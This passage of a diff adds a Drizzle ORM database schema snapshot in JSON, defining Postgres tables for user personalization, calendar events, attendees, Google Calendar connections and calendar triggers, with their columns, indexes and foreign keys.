+ "type": "text[]",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "ARRAY[]::text[]"
+ },
+ "occurrences": {
+ "name": "occurrences",
+ "type": "integer",
+ "primaryKey": false,
+ "notNull": true,
+ "default": 1
+ },
+ "firstSeenAt": {
+ "name": "firstSeenAt",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "now()"
+ },
+ "lastSeenAt": {
+ "name": "lastSeenAt",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "now()"
+ },
+ "promotedAt": {
+ "name": "promotedAt",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "rejectedAt": {
+ "name": "rejectedAt",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": false
+ }
+ },
+ "indexes": {
+ "personalization_candidates_user_field_claim_idx": {
+ "name": "personalization_candidates_user_field_claim_idx",
+ "columns": [
+ {
+ "expression": "userId",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ },
+ {
+ "expression": "field",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ },
+ {
+ "expression": "claimKey",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": true,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ }
+ },
+ "foreignKeys": {
+ "personalization_candidates_userId_users_id_fk": {
+ "name": "personalization_candidates_userId_users_id_fk",
+ "tableFrom": "personalization_candidates",
+ "tableTo": "users",
+ "columnsFrom": [
+ "userId"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ }
+ },
+ "compositePrimaryKeys": {},
+ "uniqueConstraints": {},
+ "policies": {},
+ "checkConstraints": {
+ "personalization_candidates_field_chk": {
+ "name": "personalization_candidates_field_chk",
+ "value": "\"personalization_candidates\".\"field\" IN ('bio', 'writingStyle', 'rules')"
+ }
+ },
+ "isRLSEnabled": false
+ },
+ "public.user_personalization": {
+ "name": "user_personalization",
+ "schema": "",
+ "columns": {
+ "id": {
+ "name": "id",
+ "type": "text",
+ "primaryKey": true,
+ "notNull": true
+ },
+ "userId": {
+ "name": "userId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "bio": {
+ "name": "bio",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "writingStyle": {
+ "name": "writingStyle",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "rules": {
+ "name": "rules",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "memoryFolderId": {
+ "name": "memoryFolderId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "bioPageId": {
+ "name": "bioPageId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "writingStylePageId": {
+ "name": "writingStylePageId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "rulesPageId": {
+ "name": "rulesPageId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "memoryOrgIds": {
+ "name": "memoryOrgIds",
+ "type": "text[]",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "ARRAY[]::text[]"
+ },
+ "enabled": {
+ "name": "enabled",
+ "type": "boolean",
+ "primaryKey": false,
+ "notNull": true,
+ "default": true
+ },
+ "createdAt": {
+ "name": "createdAt",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "now()"
+ },
+ "updatedAt": {
+ "name": "updatedAt",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "now()"
+ }
+ },
+ "indexes": {
+ "user_personalization_user_idx": {
+ "name": "user_personalization_user_idx",
+ "columns": [
+ {
+ "expression": "userId",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": true,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ },
+ "user_personalization_bio_page_idx": {
+ "name": "user_personalization_bio_page_idx",
+ "columns": [
+ {
+ "expression": "bioPageId",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ },
+ "user_personalization_writing_style_page_idx": {
+ "name": "user_personalization_writing_style_page_idx",
+ "columns": [
+ {
+ "expression": "writingStylePageId",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ },
+ "user_personalization_rules_page_idx": {
+ "name": "user_personalization_rules_page_idx",
+ "columns": [
+ {
+ "expression": "rulesPageId",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ }
+ },
+ "foreignKeys": {
+ "user_personalization_userId_users_id_fk": {
+ "name": "user_personalization_userId_users_id_fk",
+ "tableFrom": "user_personalization",
+ "tableTo": "users",
+ "columnsFrom": [
+ "userId"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ },
+ "user_personalization_memoryFolderId_pages_id_fk": {
+ "name": "user_personalization_memoryFolderId_pages_id_fk",
+ "tableFrom": "user_personalization",
+ "tableTo": "pages",
+ "columnsFrom": [
+ "memoryFolderId"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "set null",
+ "onUpdate": "no action"
+ },
+ "user_personalization_bioPageId_pages_id_fk": {
+ "name": "user_personalization_bioPageId_pages_id_fk",
+ "tableFrom": "user_personalization",
+ "tableTo": "pages",
+ "columnsFrom": [
+ "bioPageId"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "set null",
+ "onUpdate": "no action"
+ },
+ "user_personalization_writingStylePageId_pages_id_fk": {
+ "name": "user_personalization_writingStylePageId_pages_id_fk",
+ "tableFrom": "user_personalization",
+ "tableTo": "pages",
+ "columnsFrom": [
+ "writingStylePageId"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "set null",
+ "onUpdate": "no action"
+ },
+ "user_personalization_rulesPageId_pages_id_fk": {
+ "name": "user_personalization_rulesPageId_pages_id_fk",
+ "tableFrom": "user_personalization",
+ "tableTo": "pages",
+ "columnsFrom": [
+ "rulesPageId"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "set null",
+ "onUpdate": "no action"
+ }
+ },
+ "compositePrimaryKeys": {},
+ "uniqueConstraints": {},
+ "policies": {},
+ "checkConstraints": {},
+ "isRLSEnabled": false
+ },
+ "public.user_automation_preferences": {
+ "name": "user_automation_preferences",
+ "schema": "",
+ "columns": {
+ "id": {
+ "name": "id",
+ "type": "text",
+ "primaryKey": true,
+ "notNull": true
+ },
+ "userId": {
+ "name": "userId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "pulseEnabled": {
+ "name": "pulseEnabled",
+ "type": "boolean",
+ "primaryKey": false,
+ "notNull": true,
+ "default": true
+ },
+ "updatedAt": {
+ "name": "updatedAt",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "now()"
+ }
+ },
+ "indexes": {
+ "user_automation_preferences_user_idx": {
+ "name": "user_automation_preferences_user_idx",
+ "columns": [
+ {
+ "expression": "userId",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": true,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ }
+ },
+ "foreignKeys": {
+ "user_automation_preferences_userId_users_id_fk": {
+ "name": "user_automation_preferences_userId_users_id_fk",
+ "tableFrom": "user_automation_preferences",
+ "tableTo": "users",
+ "columnsFrom": [
+ "userId"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ }
+ },
+ "compositePrimaryKeys": {},
+ "uniqueConstraints": {},
+ "policies": {},
+ "checkConstraints": {},
+ "isRLSEnabled": false
+ },
+ "public.calendar_event_drives": {
+ "name": "calendar_event_drives",
+ "schema": "",
+ "columns": {
+ "id": {
+ "name": "id",
+ "type": "text",
+ "primaryKey": true,
+ "notNull": true
+ },
+ "eventId": {
+ "name": "eventId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "driveId": {
+ "name": "driveId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "sharedBy": {
+ "name": "sharedBy",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "sharedAt": {
+ "name": "sharedAt",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "now()"
+ }
+ },
+ "indexes": {
+ "calendar_event_drives_event_id_idx": {
+ "name": "calendar_event_drives_event_id_idx",
+ "columns": [
+ {
+ "expression": "eventId",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ },
+ "calendar_event_drives_drive_id_idx": {
+ "name": "calendar_event_drives_drive_id_idx",
+ "columns": [
+ {
+ "expression": "driveId",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ }
+ },
+ "foreignKeys": {
+ "calendar_event_drives_eventId_calendar_events_id_fk": {
+ "name": "calendar_event_drives_eventId_calendar_events_id_fk",
+ "tableFrom": "calendar_event_drives",
+ "tableTo": "calendar_events",
+ "columnsFrom": [
+ "eventId"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ },
+ "calendar_event_drives_driveId_drives_id_fk": {
+ "name": "calendar_event_drives_driveId_drives_id_fk",
+ "tableFrom": "calendar_event_drives",
+ "tableTo": "drives",
+ "columnsFrom": [
+ "driveId"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ },
+ "calendar_event_drives_sharedBy_users_id_fk": {
+ "name": "calendar_event_drives_sharedBy_users_id_fk",
+ "tableFrom": "calendar_event_drives",
+ "tableTo": "users",
+ "columnsFrom": [
+ "sharedBy"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "set null",
+ "onUpdate": "no action"
+ }
+ },
+ "compositePrimaryKeys": {},
+ "uniqueConstraints": {
+ "calendar_event_drives_event_drive_key": {
+ "name": "calendar_event_drives_event_drive_key",
+ "nullsNotDistinct": false,
+ "columns": [
+ "eventId",
+ "driveId"
+ ]
+ }
+ },
+ "policies": {},
+ "checkConstraints": {},
+ "isRLSEnabled": false
+ },
+ "public.calendar_events": {
+ "name": "calendar_events",
+ "schema": "",
+ "columns": {
+ "id": {
+ "name": "id",
+ "type": "text",
+ "primaryKey": true,
+ "notNull": true
+ },
+ "driveId": {
+ "name": "driveId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "createdById": {
+ "name": "createdById",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "pageId": {
+ "name": "pageId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "title": {
+ "name": "title",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "description": {
+ "name": "description",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "location": {
+ "name": "location",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "startAt": {
+ "name": "startAt",
+ "type": "timestamp with time zone",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "endAt": {
+ "name": "endAt",
+ "type": "timestamp with time zone",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "allDay": {
+ "name": "allDay",
+ "type": "boolean",
+ "primaryKey": false,
+ "notNull": true,
+ "default": false
+ },
+ "timezone": {
+ "name": "timezone",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "'UTC'"
+ },
+ "recurrenceRule": {
+ "name": "recurrenceRule",
+ "type": "jsonb",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "recurrenceExceptions": {
+ "name": "recurrenceExceptions",
+ "type": "jsonb",
+ "primaryKey": false,
+ "notNull": false,
+ "default": "'[]'::jsonb"
+ },
+ "recurringEventId": {
+ "name": "recurringEventId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "originalStartAt": {
+ "name": "originalStartAt",
+ "type": "timestamp with time zone",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "visibility": {
+ "name": "visibility",
+ "type": "EventVisibility",
+ "typeSchema": "public",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "'DRIVE'"
+ },
+ "color": {
+ "name": "color",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false,
+ "default": "'default'"
+ },
+ "metadata": {
+ "name": "metadata",
+ "type": "jsonb",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "isTrashed": {
+ "name": "isTrashed",
+ "type": "boolean",
+ "primaryKey": false,
+ "notNull": true,
+ "default": false
+ },
+ "trashedAt": {
+ "name": "trashedAt",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "googleEventId": {
+ "name": "googleEventId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "googleCalendarId": {
+ "name": "googleCalendarId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "syncedFromGoogle": {
+ "name": "syncedFromGoogle",
+ "type": "boolean",
+ "primaryKey": false,
+ "notNull": true,
+ "default": false
+ },
+ "lastGoogleSync": {
+ "name": "lastGoogleSync",
+ "type": "timestamp with time zone",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "googleSyncReadOnly": {
+ "name": "googleSyncReadOnly",
+ "type": "boolean",
+ "primaryKey": false,
+ "notNull": false,
+ "default": false
+ },
+ "createdAt": {
+ "name": "createdAt",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "now()"
+ },
+ "updatedAt": {
+ "name": "updatedAt",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": true
+ }
+ },
+ "indexes": {
+ "calendar_events_drive_id_idx": {
+ "name": "calendar_events_drive_id_idx",
+ "columns": [
+ {
+ "expression": "driveId",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ },
+ "calendar_events_created_by_id_idx": {
+ "name": "calendar_events_created_by_id_idx",
+ "columns": [
+ {
+ "expression": "createdById",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ },
+ "calendar_events_page_id_idx": {
+ "name": "calendar_events_page_id_idx",
+ "columns": [
+ {
+ "expression": "pageId",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ },
+ "calendar_events_start_at_idx": {
+ "name": "calendar_events_start_at_idx",
+ "columns": [
+ {
+ "expression": "startAt",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ },
+ "calendar_events_end_at_idx": {
+ "name": "calendar_events_end_at_idx",
+ "columns": [
+ {
+ "expression": "endAt",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ },
+ "calendar_events_drive_id_start_at_idx": {
+ "name": "calendar_events_drive_id_start_at_idx",
+ "columns": [
+ {
+ "expression": "driveId",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ },
+ {
+ "expression": "startAt",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ },
+ "calendar_events_recurring_event_id_idx": {
+ "name": "calendar_events_recurring_event_id_idx",
+ "columns": [
+ {
+ "expression": "recurringEventId",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ },
+ "calendar_events_is_trashed_idx": {
+ "name": "calendar_events_is_trashed_idx",
+ "columns": [
+ {
+ "expression": "isTrashed",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ },
+ "calendar_events_google_event_id_idx": {
+ "name": "calendar_events_google_event_id_idx",
+ "columns": [
+ {
+ "expression": "googleEventId",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ },
+ "calendar_events_synced_from_google_idx": {
+ "name": "calendar_events_synced_from_google_idx",
+ "columns": [
+ {
+ "expression": "syncedFromGoogle",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ }
+ },
+ "foreignKeys": {
+ "calendar_events_driveId_drives_id_fk": {
+ "name": "calendar_events_driveId_drives_id_fk",
+ "tableFrom": "calendar_events",
+ "tableTo": "drives",
+ "columnsFrom": [
+ "driveId"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ },
+ "calendar_events_createdById_users_id_fk": {
+ "name": "calendar_events_createdById_users_id_fk",
+ "tableFrom": "calendar_events",
+ "tableTo": "users",
+ "columnsFrom": [
+ "createdById"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ },
+ "calendar_events_pageId_pages_id_fk": {
+ "name": "calendar_events_pageId_pages_id_fk",
+ "tableFrom": "calendar_events",
+ "tableTo": "pages",
+ "columnsFrom": [
+ "pageId"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "set null",
+ "onUpdate": "no action"
+ }
+ },
+ "compositePrimaryKeys": {},
+ "uniqueConstraints": {
+ "calendar_events_google_source_per_user_key": {
+ "name": "calendar_events_google_source_per_user_key",
+ "nullsNotDistinct": false,
+ "columns": [
+ "createdById",
+ "googleCalendarId",
+ "googleEventId"
+ ]
+ }
+ },
+ "policies": {},
+ "checkConstraints": {},
+ "isRLSEnabled": false
+ },
+ "public.event_attendees": {
+ "name": "event_attendees",
+ "schema": "",
+ "columns": {
+ "id": {
+ "name": "id",
+ "type": "text",
+ "primaryKey": true,
+ "notNull": true
+ },
+ "eventId": {
+ "name": "eventId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "userId": {
+ "name": "userId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "status": {
+ "name": "status",
+ "type": "AttendeeStatus",
+ "typeSchema": "public",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "'PENDING'"
+ },
+ "responseNote": {
+ "name": "responseNote",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "isOrganizer": {
+ "name": "isOrganizer",
+ "type": "boolean",
+ "primaryKey": false,
+ "notNull": true,
+ "default": false
+ },
+ "isOptional": {
+ "name": "isOptional",
+ "type": "boolean",
+ "primaryKey": false,
+ "notNull": true,
+ "default": false
+ },
+ "invitedAt": {
+ "name": "invitedAt",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "now()"
+ },
+ "respondedAt": {
+ "name": "respondedAt",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": false
+ }
+ },
+ "indexes": {
+ "event_attendees_event_id_idx": {
+ "name": "event_attendees_event_id_idx",
+ "columns": [
+ {
+ "expression": "eventId",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ },
+ "event_attendees_user_id_idx": {
+ "name": "event_attendees_user_id_idx",
+ "columns": [
+ {
+ "expression": "userId",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ },
+ "event_attendees_status_idx": {
+ "name": "event_attendees_status_idx",
+ "columns": [
+ {
+ "expression": "status",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ },
+ "event_attendees_user_id_status_idx": {
+ "name": "event_attendees_user_id_status_idx",
+ "columns": [
+ {
+ "expression": "userId",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ },
+ {
+ "expression": "status",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ }
+ },
+ "foreignKeys": {
+ "event_attendees_eventId_calendar_events_id_fk": {
+ "name": "event_attendees_eventId_calendar_events_id_fk",
+ "tableFrom": "event_attendees",
+ "tableTo": "calendar_events",
+ "columnsFrom": [
+ "eventId"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ },
+ "event_attendees_userId_users_id_fk": {
+ "name": "event_attendees_userId_users_id_fk",
+ "tableFrom": "event_attendees",
+ "tableTo": "users",
+ "columnsFrom": [
+ "userId"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ }
+ },
+ "compositePrimaryKeys": {},
+ "uniqueConstraints": {
+ "event_attendees_event_user_key": {
+ "name": "event_attendees_event_user_key",
+ "nullsNotDistinct": false,
+ "columns": [
+ "eventId",
+ "userId"
+ ]
+ }
+ },
+ "policies": {},
+ "checkConstraints": {},
+ "isRLSEnabled": false
+ },
+ "public.google_calendar_connections": {
+ "name": "google_calendar_connections",
+ "schema": "",
+ "columns": {
+ "id": {
+ "name": "id",
+ "type": "text",
+ "primaryKey": true,
+ "notNull": true
+ },
+ "userId": {
+ "name": "userId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "accessToken": {
+ "name": "accessToken",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "refreshToken": {
+ "name": "refreshToken",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "tokenExpiresAt": {
+ "name": "tokenExpiresAt",
+ "type": "timestamp with time zone",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "googleEmail": {
+ "name": "googleEmail",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "googleAccountId": {
+ "name": "googleAccountId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "status": {
+ "name": "status",
+ "type": "GoogleCalendarConnectionStatus",
+ "typeSchema": "public",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "'active'"
+ },
+ "statusMessage": {
+ "name": "statusMessage",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "targetDriveId": {
+ "name": "targetDriveId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "selectedCalendars": {
+ "name": "selectedCalendars",
+ "type": "jsonb",
+ "primaryKey": false,
+ "notNull": false,
+ "default": "'[]'::jsonb"
+ },
+ "syncFrequencyMinutes": {
+ "name": "syncFrequencyMinutes",
+ "type": "integer",
+ "primaryKey": false,
+ "notNull": true,
+ "default": 15
+ },
+ "markAsReadOnly": {
+ "name": "markAsReadOnly",
+ "type": "boolean",
+ "primaryKey": false,
+ "notNull": true,
+ "default": false
+ },
+ "lastSyncAt": {
+ "name": "lastSyncAt",
+ "type": "timestamp with time zone",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "lastSyncError": {
+ "name": "lastSyncError",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "syncCursor": {
+ "name": "syncCursor",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "webhookChannels": {
+ "name": "webhookChannels",
+ "type": "jsonb",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "createdAt": {
+ "name": "createdAt",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "now()"
+ },
+ "updatedAt": {
+ "name": "updatedAt",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": true
+ }
+ },
+ "indexes": {
+ "google_calendar_connections_user_id_idx": {
+ "name": "google_calendar_connections_user_id_idx",
+ "columns": [
+ {
+ "expression": "userId",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ },
+ "google_calendar_connections_status_idx": {
+ "name": "google_calendar_connections_status_idx",
+ "columns": [
+ {
+ "expression": "status",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ },
+ "google_calendar_connections_target_drive_id_idx": {
+ "name": "google_calendar_connections_target_drive_id_idx",
+ "columns": [
+ {
+ "expression": "targetDriveId",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ }
+ },
+ "foreignKeys": {
+ "google_calendar_connections_userId_users_id_fk": {
+ "name": "google_calendar_connections_userId_users_id_fk",
+ "tableFrom": "google_calendar_connections",
+ "tableTo": "users",
+ "columnsFrom": [
+ "userId"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ },
+ "google_calendar_connections_targetDriveId_drives_id_fk": {
+ "name": "google_calendar_connections_targetDriveId_drives_id_fk",
+ "tableFrom": "google_calendar_connections",
+ "tableTo": "drives",
+ "columnsFrom": [
+ "targetDriveId"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "set null",
+ "onUpdate": "no action"
+ }
+ },
+ "compositePrimaryKeys": {},
+ "uniqueConstraints": {
+ "google_calendar_connections_userId_unique": {
+ "name": "google_calendar_connections_userId_unique",
+ "nullsNotDistinct": false,
+ "columns": [
+ "userId"
+ ]
+ }
+ },
+ "policies": {},
+ "checkConstraints": {},
+ "isRLSEnabled": false
+ },
+ "public.calendar_triggers": {
+ "name": "calendar_triggers",
+ "schema": "",
+ "columns": {
+ "id": {
+ "name": "id",
+ "type": "text",
+ "primaryKey": true,
+ "notNull": true
+ },
+ "workflowId": {
+ "name": "workflowId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "calendarEventId": {
+ "name": "calendarEventId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "driveId": {
+ "name": "driveId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "scheduledById": {
+ "name": "scheduledById",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "triggerAt": {
+ "name": "triggerAt",
+ "type": "timestamp with time zone",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "occurrenceDate": {
+ "name": "occurrenceDate",
+ "type": "timestamp with time zone",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "'1970-01-01T00:00:00.000Z'"
+ },
+ "createdAt": {
+ "name": "createdAt",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "now()"
+ },
+ "updatedAt": {
+ "name": "updatedAt",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": true
+ }
+ },
+ "indexes": {
+ "calendar_triggers_trigger_at_idx": {
+ "name": "calendar_triggers_trigger_at_idx",
+ "columns": [
+ {
+ "expression": "triggerAt",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ },
+ "calendar_triggers_scheduled_by_idx": {
+ "name": "calendar_triggers_scheduled_by_idx",
+ "columns": [
+ {
+ "expression": "scheduledById",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ },
+ "calendar_triggers_calendar_event_idx": {
+ "name": "calendar_triggers_calendar_event_idx",
+ "columns": [
+ {
+ "expression": "calendarEventId",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ },
+ "calendar_triggers_workflow_id_idx": {
+ "name": "calendar_triggers_workflow_id_idx",
+ "columns": [
+ {
+ "expression": "workflowId",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ }
+ },
+ "foreignKeys": {
+ "calendar_triggers_workflowId_workflows_id_fk": {
+ "name": "calendar_triggers_workflowId_workflows_id_fk",
+ "tableFrom": "calendar_triggers",
+ "tableTo": "workflows",
+ "columnsFrom": [
+ "workflowId"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ },
+ "calendar_triggers_calendarEventId_calendar_events_id_fk": {
+ "name": "calendar_triggers_calendarEventId_calendar_events_id_fk",
+ "tableFrom": "calendar_triggers",
+ "tableTo": "calendar_events",
+ "columnsFrom": [
+ "calendarEventId"
+ ],
